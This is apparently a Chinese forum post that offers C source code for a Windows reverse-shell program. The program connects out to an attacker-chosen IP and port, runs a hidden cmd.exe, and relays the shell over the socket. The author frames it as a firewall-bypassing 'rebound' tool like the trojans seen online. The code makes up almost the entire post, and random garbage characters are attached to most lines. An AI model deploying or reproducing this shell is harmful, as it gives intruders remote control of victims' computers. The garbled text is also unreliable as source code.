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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -hm 9sNox  
D`5: JR-{  
/* ============================== 5vl2yN  
Rebound port in Windows NT EID(M.G  
By wind,2006/7 T)*l' g'  
===============================*/ %hrsE5k^,  
#include |HT)/UZ|  
#include |c BHBd  
Zj5NWzj X  
#pragma comment(lib,"wsock32.lib") ug>]U ~0  
(rMTW+,  
void OutputShell(); 96k(X LR  
SOCKET sClient; ~c'\IM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; + >Fv*lux  
+# A|Zp<  
void main(int argc,char **argv) jh-kCF  
{ r{c5dQ  
WSADATA stWsaData; il<gjlyR]L  
int nRet; )E_!rR  
SOCKADDR_IN stSaiClient,stSaiServer; LjX&' ,  
N>h]mX6  
if(argc != 3) 1j8/4:  
{ VN1# 8{  
printf("Useage:\n\rRebound DestIP DestPort\n"); LH1BZ(5g  
return; nT(!HDH  
} d;IJ0xB+by  
PP~CZ2Fze  
WSAStartup(MAKEWORD(2,2),&stWsaData); yRSy(/L^+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4j2~"K  
U Ek |8yq  
stSaiClient.sin_family = AF_INET; B/[hi%~  
stSaiClient.sin_port = htons(0); ^!XU+e+:0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h:eN>yW  
w`2_6[,9  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &*h`b{]  
{ ~r7DEy|+  
printf("Bind Socket Failed!\n"); Z z{[Al{  
return; )2   
} Tm'lN5}&9  
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stSaiServer.sin_family = AF_INET; |Sy}d[VKsZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <5C=i:6%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9} IVNZc  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U!3uaz'  
{ &^"s=g.  
printf("Connect Error!"); ZC>`ca  
return; N GX-'w  
} b*9m2=6  
OutputShell(); q>wa#1X)  
} AqTR.}H  
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void OutputShell() ~{kA) :  
{ Uj y6vgU;  
char szBuff[1024]; x`b~ZSNJ%  
SECURITY_ATTRIBUTES stSecurityAttributes; `Nxo0Q  
OSVERSIONINFO stOsversionInfo; 6T5A31 Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {3_Ffsg`  
STARTUPINFO stStartupInfo; j@!BOL~?  
char *szShell; S S7D1  
PROCESS_INFORMATION stProcessInformation; x|P<F2L  
unsigned long lBytesRead; 96^1Ivd  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |^>L`6uo  
^$ g],PAY  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W,L>'$#pM  
stSecurityAttributes.lpSecurityDescriptor = 0; MV:<w3!  
stSecurityAttributes.bInheritHandle = TRUE; Z)b)v  
x(T!I&i={  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F5om-tzy  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4@ydK  
rZwf%}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M,=@|U/B  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I{Y {  
stStartupInfo.wShowWindow = SW_HIDE; xP|%rl4  
stStartupInfo.hStdInput = hReadPipe; c+YYM :S  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R  oF  
v{\n^|=])  
GetVersionEx(&stOsversionInfo); Es ZnGuY  
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switch(stOsversionInfo.dwPlatformId) I=3B 5u  
{ Dg];(c+/  
case 1: 96([V|5K  
szShell = "command.com"; h<!khWFS  
break; e2_r0I^C  
default: -hJ>wGI  
szShell = "cmd.exe"; HquB*=^xh  
break; nATfmUN L  
} HT1dvC$COo  
LmT[N@>"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l%Fse&4\  
D+@/x{wX2  
send(sClient,szMsg,77,0); 7o 83|s.Bm  
while(1) ?Sd~u1w8K  
{ !Sr0Im0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d%[`=fs]|m  
if(lBytesRead) n+A'XBHk  
{ G Yy!`E  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $=S'#^Z  
send(sClient,szBuff,lBytesRead,0); cVv4gQD\  
} (tz_D7c$F  
else }tS6Z:fOY  
{ Ke;X3j ]`  
lBytesRead=recv(sClient,szBuff,1024,0); 5;i!PuL  
if(lBytesRead<=0) break; kxKnmB#m-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3T.M?UG>  
} olQ8s *  
} G \aLg  
y:|Xg0Kp  
return; J,77pf!B  
}
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